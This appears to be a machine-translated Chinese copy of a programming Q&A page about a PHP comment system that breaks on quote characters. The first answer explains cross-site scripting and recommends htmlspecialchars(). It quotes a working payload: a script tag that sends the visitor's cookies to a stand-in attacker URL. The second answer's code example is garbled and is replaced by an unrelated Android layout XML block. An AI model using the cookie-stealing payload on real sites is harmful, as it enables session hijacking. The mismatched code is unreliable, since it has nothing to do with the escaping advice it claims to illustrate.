如何通过编写引号来阻止人们破坏您的评论系统

时间:2015-08-20 11:39:54

标签: php special-characters

我在我的网站上制作评论系统。但是,评论员可以通过键入特殊字符(例如引号,双引号,分号,冒号等)来破坏系统。这不是重复的,我想确保在它到达数据库之前转换htmlentities,我可以使用str_replace但它实际上打印文字代码。例如:     "

就像这个例子:

$str ="Hi there bro what's up, im a "MEGA"";
$comment = $str;
echo $comment;

然而它会吐出错误,因为它们会因为引号而中断查询。

2 个答案:

答案 0 :(得分:3)

您网站上的内容称为跨站点脚本漏洞。任何用户都可以注入如下代码:

Nice site what you have!<script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>

您将看到的只是Nice site what you have!作为评论,但攻击者现在可以接管您的会话。

输出用户提供的数据时必须使用htmlspecialchars()功能。你最好阅读更多关于它的内容。

答案 1 :(得分:-1)

如果您正在使用MySQL和php mysql,则必须通过mysql_real_escape_string()函数传递数据。

例如,在插入数据库之前:

for

然后,打印HTML:

<android.support.design.widget.CoordinatorLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent">
<LinearLayout android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical">
    <LinearLayout
        android:id="@+id/viewA"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_weight="1.6"
        android:orientation="horizontal"/>
    <LinearLayout
        android:id="@+id/viewB"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_weight="0.2"
        android:orientation="horizontal"/>
</LinearLayout>
<android.support.design.widget.FloatingActionButton
    android:id="@+id/fab"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:clickable="true"
    android:src="@drawable/ic_plus"
    app:layout_anchor="@id/viewA"
    android:layout_centerHorizontal="true"
    app:layout_anchorGravity="bottom"
    android:layout_centerInParent="true" />

mysql_real_escape_string()

htmlspecialchars()